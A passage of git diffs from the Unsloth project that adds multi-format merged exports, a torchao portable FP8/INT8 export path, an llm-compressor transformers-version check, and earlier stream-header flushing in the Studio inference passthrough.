-172,7 +181,13 @@ interface ExportRuntimeState { * settling the run by polling /api/export/status instead. Logs keep streaming. */ reconnecting: boolean; startedAt: number | null; - result: { outputPath: string | null; destination: ExportDestination } | null; + /** `outputPath` is the first path (back-compat); `outputPaths` is one entry per written folder + * so a multi-format merged run can list every sibling directory it created. */ + result: { + outputPath: string | null; + outputPaths: { label: string; path: string }[]; + destination: ExportDestination; + } | null; error: string | null; cancelRequested: boolean; hasHydrated: boolean; @@ -317,6 +332,10 @@ export const useExportRuntimeStore = create()((set, get) => phase: "success" as const, result: { outputPath: status.last_op_output_path ?? null, + // A run recovered from the backend only knows the last output path. + outputPaths: status.last_op_output_path + ? [{ label: "", path: status.last_op_output_path }] + : [], destination: state.result?.destination ?? "local", }, }; @@ -351,7 +370,9 @@ export const useExportRuntimeStore = create()((set, get) => const quantTotal = params.exportMethod === "gguf" ? Math.max(1, params.quantLevels.length) - : 1; + : params.exportMethod === "merged" + ? Math.max(1, params.mergedSelections?.length ?? 1) + : 1; set({ runId, @@ -431,67 +452,72 @@ export const useExportRuntimeStore = create()((set, get) => } if (!isCurrent()) return; - // 2. Run the export. Capture the resolved output_path for the success - // banner; multi-quant GGUF shares one directory, so keep the last. + // 2. Run the export. Collect every resolved output_path so the success + // banner can list each sibling directory a multi-format run created. set({ phase: "exporting" }); - let lastOutputPath: string | null = null; + const outputs: { label: string; path: string }[] = []; if (params.exportMethod === "merged") { - if (params.isAdapter) { + // Each selected format writes its own sibling directory (PEFT or non-PEFT base alike). + const selections = + params.mergedSelections && params.mergedSelections.length > 0 + ? params.mergedSelections + : [{ formatType: "16-bit (FP16)", compressedMethod: null, label: "16-bit" }]; + for (let i = 0; i < selections.length; i += 1) { + if (!isCurrent()) return; + set({ quantIndex: i }); + const sel = selections[i]; const { outputPath } = await runRecoverableOp(() => exportMerged({ save_directory: params.saveDirectory, - format_type: params.mergedFormat, + format_type: sel.formatType, + compressed_method: sel.compressedMethod, push_to_hub: pushToHub, repo_id: params.repoId, hf_token: params.token, private: params.privateRepo, }), ); - lastOutputPath = outputPath; - } else { - const { outputPath } = await runRecoverableOp(() => - exportBase({ - save_directory: params.saveDirectory, - push_to_hub: pushToHub, - repo_id: params.repoId, - hf_token: params.token, - private: params.privateRepo, - base_model_id: params.baseModelId, - }), - ); - lastOutputPath = outputPath; - } - } else if (params.exportMethod === "gguf") { - for (let i = 0; i < params.quantLevels.length; i += 1) { - if (!isCurrent()) return; - set({ quantIndex: i }); - const quant = params.quantLevels[i]; - const { outputPath } = await runRecoverableOp(() => - exportGGUF({ - save_directory: params.saveDirectory, - quantization_method: quant, - push_to_hub: pushToHub, - repo_id: params.repoId, - hf_token: params.token, - imatrix: params.useImatrix, - }), - ); - lastOutputPath = outputPath ?? lastOutputPath; + if (outputPath) outputs.push({ label: sel.label, path: outputPath }); if (!isCurrent()) return; set({ quantIndex: i + 1 }); } + } else if (params.exportMethod === "gguf") { + // Send the whole quant list in ONE call: the model is merged once and every GGUF comes + // from that single merge (unsloth save_to_gguf loops internally). + const { outputPath } = await runRecoverableOp(() => + exportGGUF({ + save_directory: params.saveDirectory, + quantization_method: params.quantLevels, + push_to_hub: pushToHub, + repo_id: params.repoId, + hf_token: params.token, + imatrix: params.useImatrix, + }), + ); + if (outputPath) outputs.push({ label: "GGUF", path: outputPath }); + if (!isCurrent()) return; + set({ quantIndex: get().quantTotal }); } else if (params.exportMethod === "lora") { const { outputPath } = await runRecoverableOp(() => exportLoRA({ save_directory: params.saveDirectory, push_to_hub: pushToHub, repo_id: params.repoId, - hf_token: params.token, + // A local GGUF LoRA export still reloads a possibly-gated base config, so fall back to + // the load token when there is no hub-upload token (both are the same HF token). + hf_token: params.token ?? params.loadToken ?? null, private: params.privateRepo, + gguf: params.loraGguf ?? false, + gguf_outtype: params.loraGgufOuttype ?? "q8_0", }), ); - lastOutputPath = outputPath; + if (outputPath) { + outputs.push({ + label: params.loraGguf ? "GGUF LoRA adapter" : "LoRA adapter", + path: outputPath, + }); + } } if (!isCurrent()) return; @@ -499,7 +525,11 @@ export const useExportRuntimeStore = create()((set, get) => phase: "success", isExporting: false, reconnecting: false, - result: { outputPath: lastOutputPath, destination: params.destination }, + result: { + outputPath: outputs[0]?.path ?? null, + outputPaths: outputs, + destination: params.destination, + }, }); } catch (err) { if (!isCurrent()) return; diff --git a/studio/frontend/src/hooks/use-hardware-info.ts b/studio/frontend/src/hooks/use-hardware-info.ts index 36e3c532f3..4d63d4d6af 100644 --- a/studio/frontend/src/hooks/use-hardware-info.ts +++ b/studio/frontend/src/hooks/use-hardware-info.ts @@ -25,6 +25,13 @@ export interface HardwareInfo { transformers: string | null; unsloth: string | null; llamaCpp: string | null; + // Whether export can run here (true only on a supported accelerator), with a torch-aware + // reason. `null` until the authoritative response lands, so callers don't briefly enable + // export; `loaded` flips true once a real (non-error) response arrives. + exportSupported: boolean | null; + exportUnsupportedReason: string | null; + exportUnsupportedMessage: string | null; + loaded: boolean; } const DEFAULT: HardwareInfo = { @@ -38,6 +45,10 @@ const DEFAULT: HardwareInfo = { transformers: null, unsloth: null, llamaCpp: null, + exportSupported: null, + exportUnsupportedReason: null, + exportUnsupportedMessage: null, + loaded: false, }; // Module-level cache so multiple components share one fetch. @@ -87,6 +98,10 @@ async function fetchOnce(): Promise { transformers: data?.versions?.transformers ?? null, unsloth: data?.versions?.unsloth ?? null, llamaCpp: data?.llama_cpp ?? null, + exportSupported: data?.export_supported ?? null, + exportUnsupportedReason: data?.export_unsupported_reason ?? null, + exportUnsupportedMessage: data?.export_unsupported_message ?? null, + loaded: true, }; if (generation === cacheGeneration) { cached = info; diff --git a/tests/studio/playwright_extra_ui.py b/tests/studio/playwright_extra_ui.py index 304de7a9af..209a8a06f1 100644 --- a/tests/studio/playwright_extra_ui.py +++ b/tests/studio/playwright_extra_ui.py @@ -256,7 +256,7 @@ with sync_playwright() as p: composer = page.locator('textarea[aria-label="Message input"]') composer.wait_for(state = "visible", timeout = 60_000) - # Detect chat-only mode (/api/health.chat_only): in chat-only mode /studio + /export redirect to /chat. + # Detect chat-only mode (/api/health.chat_only): /studio redirects to /chat while /export stays reachable and self-gated. health_resp = evaluate_fetch( page, f"{BASE}/api/health", @@ -404,15 +404,19 @@ with sync_playwright() as p: # ───────────────────────────────────────────────────── # 3. Export route. # ───────────────────────────────────────────────────── - step(f"Export route ({'chat-only redirect' if chat_only else 'form fields'})") + step(f"Export route ({'chat-only self-gated' if chat_only else 'form fields'})") page.goto(f"{BASE}/export") page.wait_for_timeout(1500) shoot("07-export") if chat_only: - if "/export" in page.url: - soft_fail(f"chat-only mode should redirect /export -> /chat; url={page.url}") + if "/export" not in page.url: + soft_fail(f"chat-only mode should keep /export reachable; url={page.url}") else: - info(f"OK chat-only redirected /export -> {page.url}") + unavailable = page.get_by_text(re.compile(r"Export unavailable", re.I)).first + if unavailable.count() == 0: + soft_fail("chat-only /export did not show the export unavailable gate") + else: + info("OK chat-only /export rendered the unavailable gate") else: # Non-chat-only: verify the export-cta button + HF token field. cta = page.locator('[data-tour="export-cta"]').first diff --git a/unsloth/_compressed_quantize.py b/unsloth/_compressed_quantize.py index 66ebdd75da..f0a843c380 100644 --- a/unsloth/_compressed_quantize.py +++ b/unsloth/_compressed_quantize.py @@ -245,6 +245,10 @@ def main(): # expert even if the sample set does not route tokens to all of them. is_moe = _is_moe(getattr(model, "config", None)) ignore = ["lm_head"] + # Skip the same modules RedHatAI/NVIDIA skip for the Qwen3.5 / Qwen3-Next family (these also have + # shapes not divisible by the grouped-scheme group_size, which would otherwise error). No-ops + # elsewhere. Hybrid linear attention, VLM vision tower, and the MTP/speculative head. + ignore += ["re:.*\\.linear_attn\\..*", "re:.*\\.visual\\..*", "re:.*mtp.*"] if is_moe: # Keep MoE routing layers unquantized: the router gate and (Qwen) shared-expert gate. ignore += ["re:.*\\.gate$", "re:.*\\.shared_expert_gate$"] diff --git a/unsloth/save.py b/unsloth/save.py index 226ca5fed8..50ae4119bd 100644 --- a/unsloth/save.py +++ b/unsloth/save.py @@ -205,6 +205,24 @@ COMPRESSED_EXPORT_SCHEMES = { } +# torchao "portable" quant export: device-agnostic FP8 / INT8, no NVIDIA GPU needed. +# alias -> (kind, sibling suffix). FP8 saves to safetensors, INT8 to .bin; both load in vLLM. +TORCHAO_EXPORT_SCHEMES = { + "torchao_fp8": ("fp8", "torchao-fp8"), + "torchao_int8": ("int8", "torchao-int8"), + "portable_fp8": ("fp8", "torchao-fp8"), + "portable_int8": ("int8", "torchao-int8"), +} + + +def _normalize_torchao_method(save_method): + """Return (kind, suffix) if `save_method` is a torchao portable FP8/INT8 export, else None.""" + if not isinstance(save_method, str): + return None + key = save_method.lower().strip().replace("-", "_").replace(" ", "_") + return TORCHAO_EXPORT_SCHEMES.get(key) + + def _normalize_compressed_method(save_method): """Return (scheme, needs_calibration, suffix) if `save_method` is an FP8/FP4 compressed export, else None (so normal lora / merged_16bit / merged_4bit handling proceeds). @@ -215,6 +233,9 @@ def _normalize_compressed_method(save_method): if not isinstance(save_method, str): return None key = save_method.lower().strip().replace("-", "_").replace(" ", "_") + # torchao aliases route to the torchao path, so skip them before the "fp8" near-miss check. + if key in TORCHAO_EXPORT_SCHEMES: + return None if key in COMPRESSED_EXPORT_SCHEMES: return COMPRESSED_EXPORT_SCHEMES[key] if any(tag in key for tag in ("fp8", "fp4", "mxfp", "nvfp", "w4a", "w8a", "int4", "int8")): @@ -1368,6 +1389,53 @@ def install_python_non_blocking(packages = []): # bump deliberately. Floor 0.6.0 keeps torch>=2.4 resolvable (0.7+ need torch>=2.7; torch pinned below). _LLM_COMPRESSOR_SPEC = "llmcompressor>=0.6.0,<=0.12.0" +# Highest transformers release llm-compressor 0.10.x/0.12.x can run against (its metadata pins +# transformers<=4.57.6). Models that require a newer-transformers sidecar (e.g. Qwen3.5 needs +# transformers 5.3.0) cannot be quantized by llm-compressor at all: it imports +# transformers.modeling_utils.TORCH_INIT_FUNCTIONS, which was removed in transformers 5.x, so the +# compressed-export subprocess dies with a cryptic ImportError AFTER the expensive 16bit merge. +# Detect that up front and fail fast with an actionable message. Bump this in lockstep with a +# llm-compressor release that supports newer transformers. +_LLM_COMPRESSOR_MAX_TRANSFORMERS = "4.57.6" + + +def _transformers_exceeds_llm_compressor_ceiling(transformers_version = None): + """Return (exceeds, active_version) comparing the active transformers to the llm-compressor ceiling. + + `exceeds` is True only when we can parse both versions and the active transformers is strictly + newer than `_LLM_COMPRESSOR_MAX_TRANSFORMERS`. Any parse failure returns False (fail open) so a + real quantization attempt still surfaces the underlying error rather than a false positive. + """ + if transformers_version is None: + try: + import transformers as _tf + transformers_version = _tf.__version__ + except Exception: + return False, "unknown" + try: + from packaging.version import parse as _parse + + # Drop any local build suffix ("4.57.6+abc") so it does not skew the comparison. + active = _parse(str(transformers_version).split("+", 1)[0]) + ceiling = _parse(_LLM_COMPRESSOR_MAX_TRANSFORMERS) + return active > ceiling, str(transformers_version) + except Exception: + return False, str(transformers_version) + + +# A caller (e.g. Unsloth Studio) can enable FP8/FP4 export of newer-transformers models (Qwen3.5, +# Gemma-4, ...) by provisioning a dedicated llm-compressor-main "shadow" (transformers>=5.9 layered +# over the existing torch) and pointing us at its sys.path entry via this env var. When set, the +# quantization subprocess uses it instead of the workspace llm-compressor and the ceiling fail-fast +# is bypassed. +_COMPRESSED_QUANTIZE_PYTHONPATH_ENV = "UNSLOTH_COMPRESSED_QUANTIZE_PYTHONPATH" + + +def _compressed_quantize_pythonpath(): + """Return the llm-compressor-main shadow PYTHONPATH, or None if not set.""" + pp = os.environ.get(_COMPRESSED_QUANTIZE_PYTHONPATH_ENV, "").strip() + return pp or None + def install_llm_compressor(): """Import llm-compressor, installing it on first use for FP8/FP4 export. @@ -2023,10 +2091,40 @@ def unsloth_save_pretrained_merged( gc.collect() return + # torchao portable FP8/INT8 export (no NVIDIA GPU) -> separate path. + _torchao = _normalize_torchao_method(save_method) + if _torchao is not None: + kind, suffix = _torchao + _unsloth_save_torchao( + model = self, + save_directory = save_directory, + tokenizer = tokenizer, + kind = kind, + suffix = suffix, + push_to_hub = push_to_hub, + token = token, + is_main_process = is_main_process, + # Forward standard save kwargs to the 16bit merge. + state_dict = state_dict, + save_function = save_function, + max_shard_size = max_shard_size, + safe_serialization = safe_serialization, + variant = variant, + save_peft_format = save_peft_format, + tags = tags, + temporary_location = temporary_location, + maximum_memory_usage = maximum_memory_usage, + datasets = datasets, + ) + for _ in range(3): + gc.collect() + return + arguments = dict(locals()) arguments["model"] = self del arguments["self"] del arguments["_compressed"] + del arguments["_torchao"] del arguments["calibration_dataset"] del arguments["num_calibration_samples"] del arguments["max_seq_length"] @@ -2107,6 +2205,37 @@ def unsloth_push_to_hub_merged( gc.collect() return + # torchao portable FP8/INT8 export (no NVIDIA GPU) -> separate path. + _torchao = _normalize_torchao_method(save_method) + if _torchao is not None: + kind, suffix = _torchao + _unsloth_save_torchao( + model = self, + save_directory = repo_id, + tokenizer = tokenizer, + kind = kind, + suffix = suffix, + push_to_hub = True, + token = token, + is_main_process = True, + private = private, + commit_message = commit_message, + commit_description = commit_description, + create_pr = create_pr, + revision = revision, + # Forward standard save kwargs to the 16bit merge. + use_temp_dir = use_temp_dir, + max_shard_size = max_shard_size, + safe_serialization = safe_serialization, + tags = tags, + temporary_location = temporary_location, + maximum_memory_usage = maximum_memory_usage, + datasets = datasets, + ) + for _ in range(3): + gc.collect() + return + arguments = dict(locals()) arguments["model"] = self arguments["save_directory"] = repo_id @@ -2114,6 +2243,7 @@ def unsloth_push_to_hub_merged( del arguments["self"] del arguments["repo_id"] del arguments["_compressed"] + del arguments["_torchao"] del arguments["calibration_dataset"] del arguments["num_calibration_samples"] del arguments["max_seq_length"] @@ -3812,10 +3942,40 @@ def unsloth_generic_save_pretrained_merged( gc.collect() return + # torchao portable FP8/INT8 export (no NVIDIA GPU) -> separate path. + _torchao = _normalize_torchao_method(save_method) + if _torchao is not None: + kind, suffix = _torchao + _unsloth_save_torchao( + model = self, + save_directory = save_directory, + tokenizer = tokenizer, + kind = kind, + suffix = suffix, + push_to_hub = push_to_hub, + token = token, + is_main_process = is_main_process, + # Forward standard save kwargs to the 16bit merge. + state_dict = state_dict, + save_function = save_function, + max_shard_size = max_shard_size, + safe_serialization = safe_serialization, + variant = variant, + save_peft_format = save_peft_format, + tags = tags, + temporary_location = temporary_location, + maximum_memory_usage = maximum_memory_usage, + datasets = datasets, + ) + for _ in range(3): + gc.collect() + return + arguments = dict(locals()) arguments["model"] = self del arguments["self"] del arguments["_compressed"] + del arguments["_torchao"] del arguments["calibration_dataset"] del arguments["num_calibration_samples"] del arguments["max_seq_length"] @@ -3896,6 +4056,37 @@ def unsloth_generic_push_to_hub_merged( gc.collect() return + # torchao portable FP8/INT8 export (no NVIDIA GPU) -> separate path. + _torchao = _normalize_torchao_method(save_method) + if _torchao is not None: + kind, suffix = _torchao + _unsloth_save_torchao( + model = self, + save_directory = repo_id, + tokenizer = tokenizer, + kind = kind, + suffix = suffix, + push_to_hub = True, + token = token, + is_main_process = True, + private = private, + commit_message = commit_message, + commit_description = commit_description, + create_pr = create_pr, + revision = revision, + # Forward standard save kwargs to the 16bit merge. + use_temp_dir = use_temp_dir, + max_shard_size = max_shard_size, + safe_serialization = safe_serialization, + tags = tags, + temporary_location = temporary_location, + maximum_memory_usage = maximum_memory_usage, + datasets = datasets, + ) + for _ in range(3): + gc.collect() + return + arguments = dict(locals()) arguments["model"] = self arguments["save_directory"] = repo_id @@ -3903,6 +4094,7 @@ def unsloth_generic_push_to_hub_merged( del arguments["self"] del arguments["repo_id"] del arguments["_compressed"] + del arguments["_torchao"] del arguments["calibration_dataset"] del arguments["num_calibration_samples"] del arguments["max_seq_length"] @@ -4114,22 +4306,36 @@ def _unsloth_save_compressed_tensors( if not is_main_process: return None - # 1) Install llm-compressor and gate on scheme availability BEFORE merging, so an unsupported - # scheme (e.g. mxfp8) fails fast instead of writing a full 16bit checkpoint first. - install_llm_compressor() - if not _scheme_is_available(scheme): - try: - import transformers as _tf - tf_ver = _tf.__version__ - except Exception: - tf_ver = "unknown" - raise RuntimeError( - f"Unsloth: scheme '{scheme}' is not available in your installed " - f"compressed-tensors / llm-compressor.\n" - f"It requires a newer llm-compressor that needs transformers>=5.9 " - f"(you have transformers {tf_ver}).\n" - "Use save_method in {fp8, mxfp4, nvfp4}, or upgrade transformers + llm-compressor." - ) + # 1) Prepare the quantization runtime BEFORE merging, so an unusable config fails fast instead of + # writing a full 16bit checkpoint first. With the llm-compressor-main shadow the subprocess + # validates everything itself, so skip the workspace install / ceiling / scheme checks; without + # it, install the workspace llm-compressor and fail fast past its transformers ceiling. + _shadow_pythonpath = _compressed_quantize_pythonpath() + if _shadow_pythonpath is None: + install_llm_compressor() + # llm-compressor cannot run under a newer transformers than its ceiling: the quantization + # subprocess would die with a cryptic ImportError (TORCH_INIT_FUNCTIONS) only AFTER the costly + # 16bit merge. Detect and fail fast with an actionable message instead. + _exceeds, _tf_ver = _transformers_exceeds_llm_compressor_ceiling() + if _exceeds: + raise RuntimeError( + f"Unsloth: FP8/FP4 compressed-tensors export is not available for this model. It runs " + f"under transformers {_tf_ver}, but llm-compressor supports transformers " + f"<= {_LLM_COMPRESSOR_MAX_TRANSFORMERS}. Export to GGUF or 16-bit instead." + ) + if not _scheme_is_available(scheme): + try: + import transformers as _tf + tf_ver = _tf.__version__ + except Exception: + tf_ver = "unknown" + raise RuntimeError( + f"Unsloth: scheme '{scheme}' is not available in your installed " + f"compressed-tensors / llm-compressor.\n" + f"It requires a newer llm-compressor that needs transformers>=5.9 " + f"(you have transformers {tf_ver}).\n" + "Use save_method in {fp8, mxfp4, nvfp4}, or upgrade transformers + llm-compressor." + ) # 2) Pick the local working dir. For a hub push, save_directory is a repo id, so merge and # quantize inside an isolated temp dir instead of writing ./ into the cwd. @@ -4307,8 +4513,15 @@ def _unsloth_save_compressed_tensors( env["HF_TOKEN"] = token env["HUGGING_FACE_HUB_TOKEN"] = token + # Clean PYTHONPATH = shadow only. torch still comes from the interpreter's site-packages; + # transformers 5.x + llm-compressor main come from the shadow. Dropping the inherited + # PYTHONPATH removes any parent transformers sidecar so the shadow's is authoritative. + if _shadow_pythonpath is not None: + env["PYTHONPATH"] = _shadow_pythonpath + print( f"Unsloth: Quantizing the merged model to {scheme} with llm-compressor " + f"{'(llm-compressor-main shadow) ' if _shadow_pythonpath is not None else ''}" "(in a separate process)..." ) try: @@ -4377,6 +4590,255 @@ def _unsloth_save_compressed_tensors( torch.cuda.empty_cache() +def _unsloth_save_torchao( + model, + save_directory: Union[str, os.PathLike], + tokenizer, + kind: str, + suffix: str, + push_to_hub: bool = False, + token: Optional[Union[str, bool]] = None, + is_main_process: bool = True, + **merge_kwargs, +): + """Export a device-agnostic torchao FP8 / INT8 "portable" checkpoint (no NVIDIA GPU needed). + + Merges LoRA to 16bit in a staging dir, then applies torchao weight-only quantization via + `TorchAoConfig` into `save_directory + "-" + suffix`. No calibration, subprocess, or CUDA. + `kind` is "fp8" (safetensors) or "int8" (.bin; torchao only whitelists float8 for safetensors). + """ + import tempfile + + if isinstance(tokenizer, (PreTrainedTokenizerBase, ProcessorMixin)): + tokenizer = patch_saving_functions(tokenizer) + if token is None: + token = get_token() + + # Only the main process merges, quantizes, and uploads; other ranks return at once. + if not is_main_process: + return None + + from transformers import ( + AutoModelForCausalLM, + AutoTokenizer, + AutoProcessor, + TorchAoConfig, + ) + from torchao.quantization import Float8WeightOnlyConfig, Int8WeightOnlyConfig + + if kind == "fp8": + quant_type = Float8WeightOnlyConfig() + safe_serialization = True + elif kind == "int8": + quant_type = Int8WeightOnlyConfig() + safe_serialization = False # torchao only supports safetensors for float8 configs + else: + raise RuntimeError(f"Unsloth: unknown torchao export kind '{kind}' (expected fp8/int8).") + + # Always merge into an isolated temp staging dir (never save_directory itself), so a co-selected + # 16-bit export written to save_directory is not overwritten or deleted; the torchao output is + # the sibling "-" (or the repo id on a hub push). + repo_id, work_tmp, model_dev = None, None, None + work_tmp = tempfile.mkdtemp(prefix = "unsloth-torchao-") + if push_to_hub: + repo_id = os.fspath(save_directory) + staging = os.path.join(work_tmp, os.path.basename(repo_id.rstrip("/")) or "model") + out_dir = staging + "-" + suffix + else: + base = os.fspath(save_directory).rstrip("/\\") or os.fspath(save_directory) + staging = os.path.join(work_tmp, os.path.basename(base) or "model") + out_dir = base + "-" + suffix + + api = None + try: + if push_to_hub: + from huggingface_hub import HfApi + api = HfApi(token = token) + api.create_repo( + repo_id = repo_id, + repo_type = "model", + private = merge_kwargs.get("private", None), + exist_ok = True, + ) + + # 1) Merge to 16bit at a staging dir (LoRA and base alike). The reload reads default + # weight filenames, so never write variant-named shards here. + merge_kwargs.pop("variant", None) + print(f"Unsloth: Merging to 16bit before torchao {kind} quantization...") + merge_args = dict(merge_kwargs) + merge_args.update( + dict( + model = model, + tokenizer = tokenizer, + save_directory = staging, + save_method = "merged_16bit", + push_to_hub = False, + token = token, + is_main_process = is_main_process, + ) + ) + unsloth_generic_save(**merge_args) + + # 2) Detect VLM + trust_remote_code so the right auto class reloads the staged checkpoint. + # A bare *ForConditionalGeneration also matches text seq2seq (T5/BART/Whisper), so key off + # vision_config / a vision-named architecture only, like the compressed path. + is_vlm = False + trust_remote_code = False + if hasattr(model, "config"): + archs = getattr(model.config, "architectures", None) or [] + is_vlm = hasattr(model.config, "vision_config") or any( + x.endswith("ForVisionText2Text") for x in archs + ) + trust_remote_code = bool(getattr(model.config, "auto_map", None)) + # Custom code can be declared only in the tokenizer/processor config, so also honor an + # auto_map in any staged config (the original load already had the user's consent). + if not trust_remote_code: + for _cfg in ( + "config.json", + "tokenizer_config.json", + "processor_config.json", + "preprocessor_config.json", + ): + try: + _p = os.path.join(staging, _cfg) + if os.path.exists(_p): + with open(_p, "r", encoding = "utf-8") as _f: + if "auto_map" in json.load(_f): + trust_remote_code = True + break + except Exception: + pass + # Reload with the class that matches the checkpoint: an image-text VLM class (with a + # fallback for older Transformers that lack AutoModelForImageTextToText); the model's own + # architecture class for encoder-decoder seq2seq (T5/BART/Whisper are not causal LMs, and + # AutoModelForCausalLM would fail to load them); otherwise causal-LM. + if is_vlm: + try: + from transformers import AutoModelForImageTextToText as _reload_model + except ImportError: + from transformers import AutoModelForVision2Seq as _reload_model + auto_model = _reload_model + elif getattr(getattr(model, "config", None), "is_encoder_decoder", False): + import transformers as _tf + auto_model = next( + ( + getattr(_tf, _arch) + for _arch in (getattr(model.config, "architectures", None) or []) + if getattr(_tf, _arch, None) is not None + ), + AutoModelForCausalLM, + ) + else: + auto_model = AutoModelForCausalLM + auto_processor = AutoProcessor if is_vlm else AutoTokenizer + + # 3) Free the in-memory model's accelerator memory before reloading a fresh copy from disk. + # Covers CUDA and XPU (torchao runs on Intel GPUs too), so the original doesn't sit + # resident alongside the reloaded copy and OOM a device that fit the model once. + _has_xpu = hasattr(torch, "xpu") and torch.xpu.is_available() + try: + if ( + (torch.cuda.is_available() or _has_xpu) + and hasattr(model, "parameters") + and not getattr(model, "is_loaded_in_4bit", False) + and not getattr(model, "is_loaded_in_8bit", False) + and not getattr(model, "is_quantized", False) + ): + _devs = {str(p.device) for p in model.parameters()} + if len(_devs) == 1 and next(iter(_devs)).startswith(("cuda", "xpu")): + _dev = next(model.parameters()).device + model.to("cpu") + model_dev = _dev + except Exception: + model_dev = None + for _ in range(3): + gc.collect() + if torch.cuda.is_available(): + torch.cuda.empty_cache() + if _has_xpu: + torch.xpu.empty_cache() + + # 4) Reload the staged 16bit checkpoint with torchao applied. bfloat16 is required; + # device_map="auto" falls back to CPU, so this works on any hardware. + print(f"Unsloth: Quantizing the merged model to torchao {kind}...") + dtype_kw = {"torch_dtype": torch.bfloat16} if HAS_TORCH_DTYPE else {"dtype": torch.bfloat16} + quantized_model = auto_model.from_pretrained( + staging, + device_map = "auto", + quantization_config = TorchAoConfig(quant_type = quant_type), + trust_remote_code = trust_remote_code, + **dtype_kw, + ) + staged_tokenizer = auto_processor.from_pretrained( + staging, trust_remote_code = trust_remote_code + ) + + quantized_model.save_pretrained(out_dir, safe_serialization = safe_serialization) + staged_tokenizer.save_pretrained(out_dir) + del quantized_model + for _ in range(3): + gc.collect() + if torch.cuda.is_available(): + torch.cuda.empty_cache() + + # 5) Validate the artifact. + cfg_path = os.path.join(out_dir, "config.json") + cfg = {} + if os.path.exists(cfg_path): + with open(cfg_path, "r", encoding = "utf-8") as f: + cfg = json.load(f) + if "quantization_config" not in cfg: + raise RuntimeError( + f"Unsloth: torchao {kind} export failed - no quantization_config written to " + f"{cfg_path}" + ) + + # 6) Optional hub upload of the quantized artifact (the temp staging is cleaned in finally). + if push_to_hub: + print(f"Unsloth: Uploading torchao {kind} checkpoint to '{repo_id}' ...") + api.upload_folder( + folder_path = out_dir, + repo_id = repo_id, + repo_type = "model", + commit_message = merge_kwargs.get("commit_message", None), + commit_description = merge_kwargs.get("commit_description", None), + create_pr = merge_kwargs.get("create_pr", False), + revision = merge_kwargs.get("revision", None), + ) + datasets = merge_kwargs.get("datasets", None) + if datasets: + try: + from huggingface_hub import metadata_update + metadata_update(repo_id, {"datasets": datasets}, overwrite = True, token = token) + except Exception as meta_err: + logger.warning_once( + f"Unsloth: could not update datasets metadata for {repo_id}: {meta_err}" + ) + + result = repo_id if push_to_hub else out_dir + print( + f"Unsloth: Saved torchao {kind} checkpoint to '{result}'.\n" + f"Unsloth: This is portable (produced on any device, no NVIDIA GPU required). Load it " + f"with vLLM or transformers; FP8/INT8 acceleration is available on supported GPUs." + ) + return result + finally: + if model_dev is not None: + try: + model.to(model_dev) + except Exception: + logger.warning_once( + "Unsloth: could not restore the model to its original device after torchao " + "export; it may remain on CPU." + ) + if work_tmp is not None: + shutil.rmtree(work_tmp, ignore_errors = True) + for _ in range(3): + gc.collect() + if torch.cuda.is_available(): + torch.cuda.empty_cache() + + def unsloth_save_pretrained_torchao( self, save_directory: Union[str, os.PathLike], From fbb5b0968cd4318e483fc9918f0c592bf325c178 Mon Sep 17 00:00:00 2001 From: Rod Boev Date: Fri, 3 Jul 2026 11:26:38 -0400 Subject: [PATCH 22/27] Studio: flush passthrough stream headers before upstream prefill stalls (#6835) * Studio: flush passthrough stream headers before upstream prefill stalls * Studio: clean up delayed passthrough send failures * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: close passthrough preheader cleanup gaps * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: retry delayed passthrough overflow truncation * Studio: close completed passthrough send responses * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci --------- Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com> --- studio/backend/routes/inference.py | 132 ++++- .../tests/test_openai_tool_passthrough.py | 547 ++++++++++++++++++ 2 files changed, 669 insertions(+), 10 deletions(-) diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py index ccf36e8f71..17be222d93 100644 --- a/studio/backend/routes/inference.py +++ b/studio/backend/routes/inference.py @@ -784,6 +784,7 @@ def _set_stream_response_read_timeout( _STREAM_DISCONNECT_POLL_TIMEOUT_S = 0.25 +_OPENAI_PASSTHROUGH_PREHEADER_STATUS_WINDOW_S = 0.1 class _CompatSameTaskTimeout: @@ -10890,41 +10891,73 @@ async def _openai_passthrough_stream( _cancel_keys = (payload.cancel_id, payload.session_id, completion_id) _tracker = _TrackedCancel(cancel_event, *_cancel_keys) _tracker.__enter__() + client = None + resp = None + send_task: Optional[asyncio.Task[Optional[httpx.Response]]] = None + + async def _aclose_send_task(task: Optional[asyncio.Task[Optional[httpx.Response]]]) -> None: + if task is None: + return + if not task.done(): + task.cancel() + try: + task_resp = await task + if task_resp is not None: + try: + await task_resp.aclose() + except Exception: + pass + except (asyncio.CancelledError, Exception): + pass # Keep tracker cleanup paired if pre-header dispatch is cancelled. try: - # Dispatch BEFORE returning StreamingResponse so transport errors and - # non-200 upstream statuses surface as real HTTP errors -- OpenAI SDKs - # rely on status codes to raise APIError/BadRequestError. + # Keep the pre-header window short so accepted SSE clients receive + # immediate headers in the common timeout-reduced stall. client = httpx.AsyncClient( timeout = _llama_streaming_generation_timeout(), limits = httpx.Limits(max_keepalive_connections = 0), trust_env = False, ) - resp = None _truncate_budget = ( _OVERFLOW_TRUNCATE_MAX_RETRIES if _overflow_truncation_requested(payload) else 0 ) + while True: try: req = client.build_request( "POST", target_url, json = body, headers = {"Connection": "close"} ) first_token_deadline = time.monotonic() + _DEFAULT_FIRST_TOKEN_TIMEOUT_S - resp = await _send_stream_with_preheader_cancel( - client, req, cancel_event, request = request + send_task = asyncio.create_task( + _send_stream_with_preheader_cancel(client, req, cancel_event, request = request) ) + done, _ = await asyncio.wait( + {send_task}, + timeout = _OPENAI_PASSTHROUGH_PREHEADER_STATUS_WINDOW_S, + return_when = asyncio.FIRST_COMPLETED, + ) + if send_task not in done: + break + + # Dispatch returned quickly enough to preserve pre-header status. + resp = await send_task + send_task = None except httpx.RequestError as e: # llama-server subprocess crashed / starting / unreachable. logger.error("openai passthrough stream: upstream unreachable: %s", e) api_monitor.fail(monitor_id, _friendly_error(e)) + await _aclose_send_task(send_task) await _aclose_stream_resources(resp = resp, client = client) raise HTTPException( status_code = 502, detail = _friendly_error(e), ) + if resp is None and send_task is not None and not send_task.done(): + break if resp is None: api_monitor.finish(monitor_id, "cancelled") + await _aclose_send_task(send_task) try: await client.aclose() except Exception: @@ -10969,6 +11002,8 @@ async def _openai_passthrough_stream( api_monitor.fail(monitor_id, 